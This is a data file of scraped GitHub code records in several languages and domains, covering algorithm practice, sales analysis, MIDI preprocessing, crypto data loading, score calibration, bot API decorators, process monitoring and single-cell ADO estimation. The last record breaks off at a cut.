+{"seq_id":"42958934730","text":"N = int(input())\r\n\r\narr = [list(map(int, input().split())) for _ in range(N)]\r\n\r\nnT = N//2\r\n# visited = [[0 for _ in range(N)] for _ in range(N)]\r\nvisited = [0 for _ in range(N)]\r\nanswer = []\r\ndef dfs(depth):\r\n\tglobal answer\r\n\tif sum(visited) == nT:\r\n\t\tsumA, sumB = 0, 0\r\n\t\tfor i in range(N-1):\r\n\t\t\tfor j in range(i+1, N):\r\n\t\t\t\tteamA = visited[i] + visited[j]\r\n\t\t\t\t#TeamA\r\n\t\t\t\tif teamA == 2:\r\n\t\t\t\t\tsumA += arr[i][j]\r\n\t\t\t\t\tsumA += arr[j][i]\r\n\t\t\t\telif teamA == 0:\r\n\t\t\t\t\t#TeamB\r\n\t\t\t\t\tsumB += arr[i][j]\r\n\t\t\t\t\tsumB += arr[j][i]\r\n\t\t\r\n\t\tanswer.append(abs(sumA - sumB))\r\n\t\treturn\r\n\t\t\t\t\r\n\telse:\r\n\t\tfor i in range(depth, N):\r\n\t\t\t# if not visited[i]:\r\n\t\t\tvisited[i] = 1\r\n\t\t\tdfs(i + 1)\r\n\t\t\tvisited[i] = 0\r\n\r\ndfs(0)\r\nprint(min(answer))","repo_name":"zinee-u/algorithm_python","sub_path":"백준/Silver/14889. 스타트와 링크/스타트와 링크.py","file_name":"스타트와 링크.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"8445780124","text":"# Importando as bibliotecas que usaremos\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nprint(\"======================= Trazendo os títulos das colunas====================================\")\n# Trazendo o banco de dados utilizando a bibliotecas\nDataframe = pd.read_csv('supermarket_sales - Sheet1.csv')\n\n# Adicionando os títulos das colunas à uma lista\nTitulos = [x for x in Dataframe.columns]\nprint(Titulos)\n\nprint(\"_______________________________________________________________________________________\")\nprint(\"======================= Valor por Linha de Produto ====================================\")\n# Limpando os dados indesejados\nDados_Indesejados=['Invoice ID','Branch','Time','cogs']\nfor i in Dados_Indesejados:\n    Dataframe= Dataframe.drop(i,axis=1)\n\n# Transformando a data em Mês e Ano\n#  (1) Convertendo a coluna de Data para datetime\nDataframe['Date'] =pd.to_datetime(Dataframe[\"Date\"])\n\n#  (2) Extraindo o mês e o ano a partir da coluna transformada\nDataframe['Mes'] = Dataframe['Date'].dt.month\nDataframe['Ano'] = Dataframe['Date'].dt.year\n\n# Pegando as linhas de produtos\nLinhas_Produtos = []\nfor linha in Dataframe['Product line'].unique():\n    Linhas_Produtos.append(linha)\nprint(Linhas_Produtos)\n\nprint(\"_______________________________________________________________________________________\")\nprint(\"======================= Valor por Linha de Produto ====================================\")\n# Trazendo os valores de arrecadação por linha de produto\n\n\"\"\"\n-> Conseguimos trazer de uma forma mais direta\nTotal = Dataframe.groupby('Product line')['Total'].sum()\nprint(Total)\n\"\"\"\n\nTotal_Linha = {}\n\nGrupos_Produtos = Dataframe.groupby('Product line')\nfor i, valores in Grupos_Produtos:\n    Total = valores['Total'].sum()                      #Valores atua como um subconjunto do grupo i\n    Total_Linha[i] = round(Total,2)\nprint(Total_Linha)\n\n# Trazendo um gráfico com a participação de cada grupo no total de vendas\nPorcentagem = {}\nTotal_vendas = Dataframe['Total'].sum()\nfor Linha, tots in Total_Linha.items():\n    Valor = (tots/Total_vendas)*100\n    Porcentagem[Linha] = round(Valor,2)\n\n# Criando o gráfico de pizza\nplt.pie(Porcentagem.values(), labels=Porcentagem.keys(), autopct='%1.1f%%')\n\n# Configurações adicionais\nplt.title('Distribuição de vendas por Linha')\nplt.axis('equal')\n\n# Exibindo o gráfico\nplt.show()\n\nprint(\"__________________________________________________________________________________________\")\nprint(\"================================= Valor por Genero =======================================\")\n\n# Trazendo os valores de arrecadação por Gênero\nTotal_Genero ={}\nGrupo_Genero = Dataframe.groupby('Gender')\n\nfor i, valor in Grupo_Genero:\n    Total = valor['Total'].sum()\n    Total_Genero[i] = Total\nprint(Total_Genero)\n\n# Trazendo o valor em porcetagem\nPorcentagem_Genero = {}\nfor Genero, total in Total_Genero.items():\n    Valor = (total/Total_vendas)*100\n    Porcentagem_Genero[Genero] = round(Valor, 2)\n\nprint(Porcentagem_Genero)\n# Criando o gráfico de pizza\nplt.pie(Porcentagem_Genero.values(), labels=Porcentagem_Genero.keys(), autopct='%1.1f%%')\n\n# Configurações adicionais\nplt.title('Distribuição de Vendas por Genero')\n\n# Exibindo o gráfico\nplt.show()\n\nprint(\"__________________________________________________________________________________________\")\nprint(\"================================= Valor por Cidade =======================================\")\n\n# Trazendo os valores por cidade\nGrupo_Cidade = Dataframe.groupby('City')\nCidades = {}\n\nfor i,x in Grupo_Cidade:\n    Total = x['Total'].sum()\n    Cidades[i] = Total\n\n# Criando o gráfico de barra\nplt.bar(Cidades.keys(),Cidades.values())\nplt.ylim(100000, 115000)\n\n# Configurações adicionais\nplt.title('Distribuição de Vendas por Cidade')\n\n# Exibindo o gráfico\nplt.show()\n\n","repo_name":"matavila/GUI_For_Data","sub_path":"ProjetoData.py","file_name":"ProjetoData.py","file_ext":"py","file_size_in_byte":3804,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"73879047121","text":"import os\nimport shutil\nimport numpy as np\nimport pretty_midi\nfrom multiprocessing import Queue, Process\nfrom pypianoroll import Multitrack\nimport argparse\nimport sys\nimport logging\nlogging.basicConfig(level=logging.INFO, stream=sys.stdout, format='%(asctime)s %(levelname)s: %(message)s')\n\n\ndef get_args():\n    parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n    parser.add_argument('--mid_root', type=str, default='/data00/home/zhangyonghui.98k/Dataset/lpd_5/lpd5_all')\n    parser.add_argument('--dst_path', type=str, default='/data00/home/zhangyonghui.98k/Dataset/lpd5.npz')\n    parser.add_argument('--num_workers', type=int, default=25)\n    parser.add_argument('--sample_num', type=int, default=12)\n    args = parser.parse_args()\n    return args\n\n\ndef mid_to_npz(mid_file, sample_num=None, n_tracks=5, beat_resolution=12):\n\n    default_inst = {\n        'Drums': pretty_midi.Instrument(program=0, is_drum=True, name=\"Drums\"),\n        'Piano': pretty_midi.Instrument(program=0, is_drum=False, name=\"Piano\"),\n        'Guitar': pretty_midi.Instrument(program=24, is_drum=False, name=\"Guitar\"),\n        'Bass': pretty_midi.Instrument(program=32, is_drum=False, name=\"Bass\"),\n        'Strings': pretty_midi.Instrument(program=48, is_drum=False, name=\"Strings\")\n    }\n\n    # add note to midi.\n    mid = pretty_midi.PrettyMIDI(mid_file)\n    valid_inst_num = 0\n    for i, inst in enumerate(mid.instruments):\n        if len(inst.notes) != 0:\n            default_inst[inst.name] = True\n            valid_inst_num += 1\n\n    if valid_inst_num < n_tracks:\n        return None\n\n    for inst_name in default_inst:\n        if default_inst[inst_name] is not True:\n            inst = default_inst[inst_name]\n            inst.notes.append(pretty_midi.Note(pitch=0, start=0, end=1, velocity=100))\n            mid.instruments.append(inst)\n\n    default_inst = ['Drums', 'Piano', 'Guitar', 'Bass', 'Strings']\n    inst_idx = [-1] * len(default_inst)\n    for i, inst_name in enumerate(default_inst):\n        for k, d in enumerate(mid.instruments):\n            if d.name == inst_name:\n                inst_idx[i] = k\n\n    assert np.sum(inst_idx) == 10, 'Some Instrument not existed!'\n\n    label_mat = np.zeros((int((len(mid.get_beats())) * beat_resolution + 1), 128, 5), dtype=np.bool)\n    time_ratio = label_mat.shape[0] / mid.get_end_time()\n    if label_mat.shape[0] <= 8 * 4 * beat_resolution:\n        logging.info('skip too short audio.')\n        return None\n\n    for write_id, inst_id in enumerate(inst_idx):\n        inst = mid.instruments[inst_id]\n        for note in inst.notes:\n            start = int(note.start * time_ratio)\n            end = int(note.end * time_ratio) + 1\n            if end <= label_mat.shape[0]:\n                label_mat[start:end, note.pitch, write_id] = True\n\n    label_mat = label_mat[:, 24:108]\n\n    # print('now.shape=', label_mat.shape)\n    # print('now.sum=', np.sum(label_mat))\n    result = []\n    sample_start = [int(x * time_ratio) for x in mid.get_beats()]\n    np.random.shuffle(sample_start)\n    sample_start = sample_start[:sample_num]\n    for start in sample_start:\n        end = start + 8 * 4 * beat_resolution\n        if end <= label_mat.shape[0]:\n            sample = label_mat[start:end, ...]\n            sample = np.reshape(sample, (8, 4 * beat_resolution, 84, 5))\n            result.append(sample)\n    return result\n\n\ndef mid_to_npz_select(mid_file, sample_num=15, select_inst=('Drums', 'Piano'), beat_resolution=12):\n\n    default_inst = ['Drums', 'Piano', 'Guitar', 'Bass', 'Strings']\n    write_idx = [-1] * len(select_inst)\n    for i, inst_name in enumerate(select_inst):\n        for j, d in enumerate(default_inst):\n            if inst_name == d:\n                write_idx[i] = j\n                break\n\n    mid = pretty_midi.PrettyMIDI(mid_file)\n    select_idx = [-1] * len(select_inst)\n    for k, inst in enumerate(mid.instruments):\n        for i in range(len(select_inst)):\n            if select_inst[i] == inst.name and len(inst.notes) != 0:\n                select_idx[i] = k\n                break\n\n    for i, idx in enumerate(select_idx):\n        if idx == -1:\n            # logging.info('does not contain the instrument:{}'.format(select_inst[i]))\n            return None\n    label_mat = np.zeros((int((len(mid.get_beats())) * beat_resolution + 1), 128, 5), dtype=np.bool)\n    time_ratio = label_mat.shape[0] / mid.get_end_time()\n    if label_mat.shape[0] <= 8 * 4 * beat_resolution:\n        logging.info('skip too short audio.')\n        return None\n    for inst_id, write_id in zip(select_idx, write_idx):\n        inst = mid.instruments[inst_id]\n        for note in inst.notes:\n            start = int(note.start * time_ratio)\n            end = int(note.end * time_ratio) + 1\n            if end <= label_mat.shape[0]:\n                label_mat[start:end, note.pitch, write_id] = True\n\n    label_mat = label_mat[:, 24:108]\n\n    # print('now.shape=', label_mat.shape)\n    # print('now.sum=', np.sum(label_mat))\n    result = []\n    sample_start = [int(x * time_ratio) for x in mid.get_beats()]\n    np.random.shuffle(sample_start)\n    sample_start = sample_start[:sample_num]\n    for start in sample_start:\n        end = start + 8 * 4 * beat_resolution\n        if end <= label_mat.shape[0]:\n            sample = label_mat[start:end, ...]\n            sample = np.reshape(sample, (8, 4 * beat_resolution, 84, 5))\n            result.append(sample)\n    return result\n\n\ndef check_mid(mid_path, gamma=5):\n    mid = pretty_midi.PrettyMIDI(mid_path)\n    # check inst num\n    inst_num = 0\n    for i, inst in enumerate(mid.instruments):\n        if len(inst.notes) == 0:\n            mid.instruments[i].notes.append(pretty_midi.Note(pitch=23, start=1, end=2, velocity=100))\n    # if inst_num < gamma:\n    #     logging.info('too less instruments.')\n    #     return None\n    p_idx = [int(x * 20) for x in mid.get_beats()]\n    return p_idx\n\n\ndef send_mid(args, q):\n\n    mid_files = [os.path.join(args.mid_root, x) for x in os.listdir(args.mid_root)]\n    for i, mid_path in enumerate(mid_files):\n        q.put(mid_path)\n        if (i + 1) % 100 == 0:\n            logging.info('processing: [{}/{}]'.format(i + 1, len(mid_files)))\n\n    for _ in range(args.num_workers):\n        q.put(None)\n\n\ndef processer(q_in, q_out, sample_num=None):\n\n    while True:\n        mid_path = q_in.get()\n        if mid_path is None:\n            q_out.put(None)\n            break\n\n        res = mid_to_npz(mid_path, sample_num)\n        # res = mid_to_npz_select(mid_path, sample_num)\n        if res is None:\n            continue\n        q_out.put(res)\n\n\ndef get_ary(args, q):\n\n    get_none = 0\n    result = []\n    while True:\n        res = q.get()\n        if res is None:\n            get_none += 1\n            if get_none == args.num_workers:\n                break\n            continue\n        result.extend(res)\n\n    saved = np.asarray(result)\n    logging.info('saved shape={}'.format(saved.shape))\n    logging.info('save file into: {}'.format(args.dst_path))\n    np.savez_compressed(args.dst_path, nonzero=np.array(saved.nonzero()), shape=saved.shape)\n\n\ndef work(args):\n\n    if os.path.isfile(args.dst_path):\n        logging.info('delete file: {}'.format(args.dst_path))\n        os.remove(args.dst_path)\n\n    q_in = Queue(maxsize=1024)\n    q_out = Queue(maxsize=1024)\n\n    sender = Process(target=send_mid, args=(args, q_in))\n    sender.start()\n\n    worker = [Process(target=processer, args=(q_in, q_out, args.sample_num)) for _ in range(args.num_workers)]\n    for w in worker:\n        w.start()\n\n    geter = Process(target=get_ary, args=(args, q_out))\n    geter.start()\n\n    sender.join()\n    for w in worker:\n        w.join()\n    geter.join()\n\n    logging.info('finished.')\n\n\ndef main():\n    args = get_args()\n    logging.info(args)\n    work(args)\n\n\nif __name__ == '__main__':\n    main()\n\n","repo_name":"zyoohv/MuseGAN-Edit","sub_path":"make_npz.py","file_name":"make_npz.py","file_ext":"py","file_size_in_byte":7830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71580886482","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\nprint('version1')\n\n\n# In[4]:\n\n\nimport pandas as pd\nimport numpy as np\nimport os\nfrom os import listdir\nfrom os.path import isfile, join\nfrom datetime import datetime\n\n\n# In[5]:\n\n\ndef create_dataframes():\n    main_path = '../featureGen/originalData/data/futures/um/monthly/klines'\n    coins = [f for f in listdir(main_path) if 'USDT' in f]\n    coins.sort()\n    coin_5m = {}\n    for coin in coins:\n        print(coin)\n        path_5m = main_path + '/' + coin + '/5m/'\n        loDf = [] # list of dataframes to afterwards append them all in a single one\n        for f in listdir(path_5m): # loop through every file in the 'path_5m' directory\n            if isfile(join(path_5m, f)):\n                single_df = pd.read_csv(os.path.join(path_5m,f))\n                single_df.columns = [\"open_time\", \"open\", \"high\",\"low\",\"close\",\"volume\",\"close_time\",\"quote_asset_vol\",\"num_of_trades\",\"taker_buy_base_asset_vol\",\"taker_buy_quote_asset_vol\",\"ignore\"]\n                loDf.append(single_df)\n        \n        concat_dfs = pd.concat(loDf).reset_index(drop=True) # concatenate all df into a single one for each individual coin \n        for index,row in concat_dfs.iterrows():\n            concat_dfs.at[index,\"open_time\"] = datetime.fromtimestamp(int(concat_dfs[\"open_time\"][index])/1000)\n        concat_dfs.sort_values(by=['open_time'], inplace=True, ascending=True)\n        concat_dfs.reset_index(drop=True, inplace = True)\n        coin_5m[coin] = concat_dfs\n\n    return coin_5m\n        \n\n\n# In[6]:\n\n\n#coin_5m = create_dataframes()\n#coin_5m['DOTUSDT'].head()\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"bladey9/TradingMLCrypto","sub_path":"cryptoMLtrading/featureGen/LoadDfs.py","file_name":"LoadDfs.py","file_ext":"py","file_size_in_byte":1629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"25002453120","text":"import argparse\nimport gc\nimport logging\nimport sys\nimport torch\nfrom netcal.binning import IsotonicRegression\nfrom netcal.scaling import LogisticCalibration\nfrom pykeen.datasets import get_dataset\nfrom torch.utils.data import DataLoader\nfrom tqdm import tqdm\n\nfrom blenders.blender_utils import evaluate_testing_scores\nfrom context_load_and_run import ContextLoader\nfrom features.feature_scores_only_dataset import ScoresOnlyDataset\nfrom lp_kge.lp_pykeen import get_all_pos_triples\n\nlogger = logging.getLogger(__name__)\nlogger.addHandler(logging.StreamHandler())\nlogger.setLevel(logging.DEBUG)\n\n\nclass PlattScalingIndividual():\n    def __init__(self, params):\n        self.work_dir = params.work_dir\n        self.dataset = get_dataset(\n            dataset=params.dataset\n        )\n        self.model_list = params.models\n        self.num_neg = params.num_neg\n        self.params = params\n        self.context_loader = ContextLoader(in_dir=params.work_dir,\n                                            model_list=params.models)\n\n    def cali(self):\n        print(self.params.__dict__)\n        all_pos_triples = get_all_pos_triples(self.dataset)\n        for index, model_name in enumerate(self.model_list):\n            logger.info(f\"scaling: {model_name}\")\n            dev_feature_dataset = ScoresOnlyDataset(self.dataset.validation.mapped_triples,\n                                                    self.context_loader,\n                                                    all_pos_triples,\n                                                    num_neg=self.num_neg, models=[model_name])\n\n            test_feature_dataset = ScoresOnlyDataset(self.dataset.testing.mapped_triples,\n                                                     self.context_loader.set_cache_preds(True),\n                                                     all_pos_triples,\n                                                     calibrated=False, models=[model_name])\n\n            pos, neg = dev_feature_dataset.get_all_dev_examples()\n            keep_index1 = (pos > 0).nonzero(as_tuple=True)[0]\n            neg = neg.reshape(pos.shape[0], self.num_neg)[keep_index1].flatten().unsqueeze(1)\n            pos = pos[keep_index1]\n            keep_index2 = (neg > 0).nonzero(as_tuple=True)[0]\n            neg = neg[keep_index2]\n            logger.info(f\"pos num: {pos.shape[0]}\")\n            logger.info(f\"neg num: {neg.shape[0]}\")\n            inputs = torch.cat([pos, neg], 0)\n            labels = torch.cat([torch.ones(pos.shape[0], 1),\n                                torch.zeros(neg.shape[0], 1)], 0).numpy()\n            use_cuda = torch.cuda.is_available()\n            logger.debug(f\"use cuda: {use_cuda}\")\n            pred_features = test_feature_dataset.get_all_test_examples()\n\n            if self.params.cali == \"variational\":\n                logger.info(\"using variational\")\n                cali = LogisticCalibration(method='variational',\n                                           detection=True,\n                                           independent_probabilities=True,\n                                           use_cuda=use_cuda,\n                                           vi_epochs=self.params.epoch)\n            elif self.params.cali == 'isotonic':\n                logger.info(\"using isotonic\")\n                cali = IsotonicRegression(independent_probabilities=True)\n            elif self.params.cali == 'momentum':\n                logger.info(\"using momentum\")\n                cali = LogisticCalibration(method='momentum',\n                                           detection=True,\n                                           independent_probabilities=True,\n                                           momentum_epochs=self.params.epoch,\n                                           use_cuda=use_cuda,\n                                           vi_epochs=self.params.epoch)\n            else:\n                logger.info(\"unsupported cali function, please set cali in ['variational', 'isotonic', 'momentum']\")\n                sys.exit()\n            gc.collect()\n            if use_cuda:\n                torch.cuda.empty_cache()\n            cali.fit(inputs.numpy(), labels)\n            old_shape = self.context_loader.context_resource[model_name]['preds'].shape\n            logger.info(f\"Start transforming {self.model_list[index]}.\")\n            m_test_dataloader = DataLoader(pred_features.numpy(), batch_size=512 * old_shape[1])\n            individual_cali = []\n            for batch in tqdm(m_test_dataloader):\n                if self.params.cali == \"variational\":\n                    batch_individual_cali = cali.transform(batch.numpy(), num_samples=100).mean(0)\n                else:\n                    batch_individual_cali = cali.transform(batch.numpy())\n                individual_cali.extend(batch_individual_cali)\n                gc.collect()\n                if use_cuda:\n                    torch.cuda.empty_cache()\n\n            h_preds, t_preds = torch.chunk(torch.as_tensor(individual_cali), 2, 0)\n            h_preds = torch.reshape(h_preds, (old_shape[0], int(old_shape[1] / 2)))\n            t_preds = torch.reshape(t_preds, (old_shape[0], int(old_shape[1] / 2)))\n            individual_cali = torch.cat([h_preds, t_preds], 1)\n            torch.save(individual_cali, self.work_dir + f\"{model_name}/cali_preds.pt\")\n            logger.info(f\"Transforming saved for {self.model_list[index]}.\")\n            raw_res = evaluate_testing_scores(self.dataset, self.context_loader.context_resource[model_name]['preds'])\n            logger.info(f\"{self.model_list[index]} rank evaluation with raw scores:\\n {raw_res}\")\n            cali_res = evaluate_testing_scores(self.dataset, individual_cali)\n            logger.info(f\"{self.model_list[index]} rank evaluation with calibrated scores:\\n {cali_res}\")\n            del cali\n            del h_preds\n            del t_preds\n            del individual_cali\n            gc.collect()\n            if use_cuda:\n                torch.cuda.empty_cache()\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser(description=\"experiment settings\")\n    parser.add_argument('--models', type=str, default=\"CP_ComplEx_RotatE_TuckER_anyburl\")\n    parser.add_argument('--dataset', type=str, default=\"UMLS\")\n    parser.add_argument(\"--num_neg\", type=int, default=10)\n    parser.add_argument('--work_dir', type=str, default=\"../outputs/umls/\")\n    parser.add_argument('--cali', type=str, default=\"variational\")\n    parser.add_argument('--epoch', type=int, default=100)\n    args = parser.parse_args()\n    args.models = args.models.split('_')\n    wab = PlattScalingIndividual(args)\n    wab.cali()\n","repo_name":"sylviawangfr/KGfusion","sub_path":"blenders/scaling_stored_scores.py","file_name":"scaling_stored_scores.py","file_ext":"py","file_size_in_byte":6615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29455839587","text":"import requests\nimport traceback\nfrom functools import wraps\n\nfrom core.logger import logger\n\n\nclass Decorator:\n\n    # CQHTTP API FETCH DECORATOR\n    @staticmethod\n    def cqhttp_api(api_name):\n        def fetch_decorator(func):\n            @wraps(func)\n            def wrapped_function(*args):\n                params = func(*args) if args else func()\n                try:\n                    url = \"http://127.0.0.1:5700/\" + api_name\n                    response = requests.get(url=url, params=params).json()\n                except:\n                    logger.error(f\"<CQHTTP API> 调用 /{api_name}/ 失败\", traceback.format_exc())\n                    return False\n\n                # STATUS OK\n                if response[\"status\"] == \"ok\":\n                    return response[\"data\"]\n                return dict()\n            return wrapped_function\n        return fetch_decorator\n\n    # ALAPI FETCH DECORATOR\n    @staticmethod\n    def alapi_fetch(api_name, field=''):\n        def fetch_decorator(func):\n            @wraps(func)\n            def wrapped_function(*args):\n                params = func(*args) if args else func()\n                try:\n                    url = \"https://v2.alapi.cn/api/\" + api_name\n                    response = requests.get(url=url, params=params, timeout=3).json()\n                except:\n                    logger.error(f\"<ALAPI> 调用 /{api_name}/ 失败\", traceback.format_exc())\n                    return False\n\n                # ERROR CODE 200 MEANS SUCCESS\n                if response[\"code\"] == 200:\n                    return response[\"data\"][field] if field else response[\"data\"]\n\n                # API INTERFACE ERROR\n                error_map = {\n                    100: \"token 错误\",\n                    101: \"账号过期\",\n                    102: \"接口请求次数超过限制\",\n                    104: \"来源或 ip 不在白名单\",\n                    400: \"接口请求失败\",\n                    404: \"接口地址不存在\",\n                    405: \"请求方法不被允许\",\n                    406: \"没有更多数据了\",\n                    422: \"接口请求失败\",\n                    429: \"技能 CD 中\"\n                }\n                logger.error(f\"<ALAPI> /{api_name}/ 接口返回异常\", error_map[response[\"code\"]])\n                return dict()\n            return wrapped_function\n        return fetch_decorator\n\n    # BILIBILI API FETCH DECORATOR\n    @staticmethod\n    def bilibili_fetch(url):\n        def fetch_decorator(func):\n            @wraps(func)\n            def wrapped_function(*args):\n                params = func(*args) if args else func()\n                try:\n                    response = requests.get(url=url, params=params, timeout=3).json()\n                except:\n                    logger.error(f\"<Bilibili API> 调用 [{url}] 失败\", traceback.format_exc())\n                    return False\n\n                # ERROR CODE 0 MEANS SUCCESS\n                error_code = response[\"code\"]\n                if error_code == 0:\n                    return response[\"data\"]\n\n                logger.error(f\"<Bilibili API> [{url}] 接口返回异常\", response['message'])\n                return dict()\n            return wrapped_function\n        return fetch_decorator\n\n    # ROLLBACK ON INSERT ERROR\n    @staticmethod\n    def db_insert(func):\n        @wraps(func)\n        def try_except(*args):\n            try:\n                args[0].connect.ping(reconnect=True)\n                func(*args)\n                args[0].connect.commit()\n                return args[0].cursor.lastrowid\n            except:\n                logger.error(f\"<MySQL> 插入失败\", traceback.format_exc())\n                args[0].connect.rollback()\n                return 0\n        return try_except\n\n    # ROLLBACK ON MODIFY ERROR\n    @staticmethod\n    def db_modify(func):\n        @wraps(func)\n        def try_except(*args):\n            try:\n                args[0].connect.ping(reconnect=True)\n                func(*args)\n                args[0].connect.commit()\n                return True\n            except:\n                logger.error(f\"<MySQL> 更新/删除失败\", traceback.format_exc())\n                args[0].connect.rollback()\n                return False\n        return try_except\n\n    # RETURN NULL ON SELECT ERROR\n    @staticmethod\n    def db_select_one(func):\n        @wraps(func)\n        def try_except(*args):\n            try:\n                args[0].connect.ping(reconnect=True)\n                func(*args)\n                return args[0].cursor.fetchone()\n            except:\n                logger.error(f\"<MySQL> 查询失败\", traceback.format_exc())\n                return tuple()\n        return try_except\n\n    # RETURN NULL ON SELECT ERROR\n    @staticmethod\n    def db_select_all(func):\n        @wraps(func)\n        def try_except(*args):\n            try:\n                args[0].connect.ping(reconnect=True)\n                func(*args)\n                return args[0].cursor.fetchall()\n            except:\n                logger.error(f\"<MySQL> 查询失败\", traceback.format_exc())\n                return tuple()\n        return try_except\n","repo_name":"in1nit1t/Koi-Bot","sub_path":"core/decorator.py","file_name":"decorator.py","file_ext":"py","file_size_in_byte":5145,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"3"}
+{"seq_id":"2821000883","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nimport time\n\nimport psutil\n\nfrom rain.common import rain_log\nfrom rain.common import utils\nfrom rain.config.cloud.system import process_conf\n\nCONF = process_conf.CONF\nlogger = rain_log.logg(__name__)\n\n\nclass ProcessInfo(object):\n    \"\"\"System process information.\n\n    Collect system process related information and return.\n    \"\"\"\n\n    def _get_process_info(self):\n        \"\"\"Collect all process information, including 'name', 'exe', 'pid',\n        'username', 'cmdline', 'memory_percent', 'status', 'create_time',\n        'cpu_percent', 'cpu_num', and return the list.\n        \"\"\"\n        process_infos = []\n        if CONF.process_info.proc_detail:\n            logger.debug('More information about the collection process.')\n            processss = psutil.process_iter(attrs=['name', 'exe', 'pid',\n                                                   'username', 'cmdline',\n                                                   'memory_percent', 'status',\n                                                   'create_time',\n                                                   'cpu_percent', 'cpu_num'])\n        else:\n            processss = psutil.process_iter(attrs=[\n                'name', 'exe', 'pid', 'status'])\n        for process in processss:\n            p_info = process.info\n            if p_info.get('create_time', None):\n                p_info['create_time'] = utils.str_time(p_info['create_time'])\n            else:\n                pass\n            process_infos.append(p_info)\n        logger.info('Collect all process information.')\n        return process_infos\n\n    def get_process_info(self, process_name=None, process_id=None):\n        \"\"\"By default, all process information is returned. If the process\n        name is passed in, the incoming process information is returned, and\n        the type list is returned.\n        \"\"\"\n        process_info = []\n        process_infos = self._get_process_info()\n        if process_name:\n            logger.debug('Collect the specified process name information, '\n                         'process name: {}.'.format(process_name))\n            for p_name in process_name:\n                for p_info in process_infos:\n                    if p_name.lower() in p_info['name'].lower():\n                        process_info.append(p_info)\n        if process_id:\n            logger.debug('Collect the specified process id information, '\n                         'process id: {}.'.format(process_id))\n            for p_id in process_id:\n                for p_info in process_infos:\n                    if p_id == p_info['pid']:\n                        process_info.append(p_info)\n        if not process_name and not process_id:\n            process_info = process_infos\n            return process_info\n        logger.info('Collect process information and process.')\n        return process_info\n","repo_name":"SuPerCxyz/rain","sub_path":"rain/cloud/system/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":2882,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"34949317324","text":"# script to get ADO rate from germline SNPs\n# run in mosaic-custom conda environment\n# input should have been annotated with matched bulk normal ('AF-matched_bulk_normal' needs to be in sample.dna.col_attrs.keys())\n\n\n\n\nimport mosaic.io as mio\nimport pandas as pd\nimport numpy as np\nfrom pathlib import Path\nfrom tea.plots import plot_snv_clone\nimport json\nimport argparse, sys\n\ndef main(args):\n    # ----- io ----- \n    input_h5 = Path(args.input_h5)\n    if args.sample_name is None:\n        sample_name = input_h5.name.split('.')[0]\n    else:\n        sample_name = args.sample_name\n\n    # parameters for identifying germline HET SNPs\n    sc_mean_AF_lower_bound = args.sc_mean_AF_lower_bound * 100 # times 100 for Tapestri data \n    sc_mean_AF_upper_bound = args.sc_mean_AF_upper_bound * 100\n    bulk_AF_lower_bound = args.bulk_AF_lower_bound\n\n    output_dir = Path(args.output_dir)\n    # -----------------\n\n    sample = mio.load(str(input_h5), raw = False)\n    sample.dna.genotype_variants(\n        min_dp = 8,\n        min_alt_read = 3,\n    )\n    assert('AF-matched_bulk_normal' in sample.dna.col_attrs.keys())\n    germline_snps = pd.DataFrame(index = sample.dna.ids()[\n    ~np.isnan(sample.dna.col_attrs['AF-matched_bulk_normal'])\n    ])\n    germline_snps['AF-matched_bulk_normal'] = sample.dna.col_attrs['AF-matched_bulk_normal'][\n        ~np.isnan(sample.dna.col_attrs['AF-matched_bulk_normal'])\n        ]\n    \n    # ----- calcualte parameters for filtering germline HET SNPs -----\n    cell_thpt = sample.dna.shape[0]\n    germline_snps['sc_mut(AF>0)_prev'] = germline_snps.index.map(\n        lambda x: float((sample.dna.get_attribute('AF', features = [x]) > 0).sum(axis=0)[0] / cell_thpt)\n    )\n    germline_snps['sc_mean_AF(positive cells only)'] = germline_snps.index.map(\n        lambda x: sample.dna.get_attribute('AF', features = [x]).replace(0, np.NaN).mean()[0]\n    )\n\n    germline_snps['sc_detec(DP>0)_prev'] = germline_snps.index.map(\n        lambda x: float((sample.dna.get_attribute('DP', features = [x]) > 0).sum(axis=0)[0] / cell_thpt)\n    )\n\n    germline_snps['ADO'] = germline_snps.index.map(\n        lambda x: sample.dna.get_attribute('AF', features = [x]).isin([0, 100]).sum(axis=0)[0] / cell_thpt\n    )\n\n    # ----- filter for germline HET SNPs -----\n    filtered_g_snps = germline_snps[\n        (germline_snps['sc_mean_AF(positive cells only)'] > sc_mean_AF_lower_bound) & \n        (germline_snps['sc_mean_AF(positive cells only)'] < sc_mean_AF_upper_bound) & \n        (germline_snps['AF-matched_bulk_normal'] > bulk_AF_lower_bound) \n        # & (germline_snps['AF-matched_bulk_normal'] < 0.8) * (germline_snps['sc_detec(DP>0)_prev'] >= 0.75)\n    ]\n\n    # ----- write outputs -----\n    filtered_g_snps.to_csv(output_dir / f'{sample_name}-germline_SNPs_info.csv', index = True, header = True)\n    ado_stats = {}\n    ado_stats['num_germline_snps_identified'] = filtered_g_snps.shape[0]\n    ado_stats['mean_ADO'] = filtered_g_snps['ADO'].mean()\n    with open(output_dir / f\"{sample_name}-ado_stats.json\", \"w\") as out_json:\n        json.dump(ado_stats, out_json)\n    \n    # make sc-AF heatmap for sanity check\n    sc_af_heatmap = plot_snv_clone(\n        sample_obj= sample, \n        sample_name = sample_name,\n        story_topic = 'germline_SNPs',\n        voi = filtered_g_snps.index.tolist(),\n        attribute = 'AF_MISSING',\n        vars_to_sort_by = filtered_g_snps.index.tolist(),\n        barcode_sort_method='hier',\n    )\n    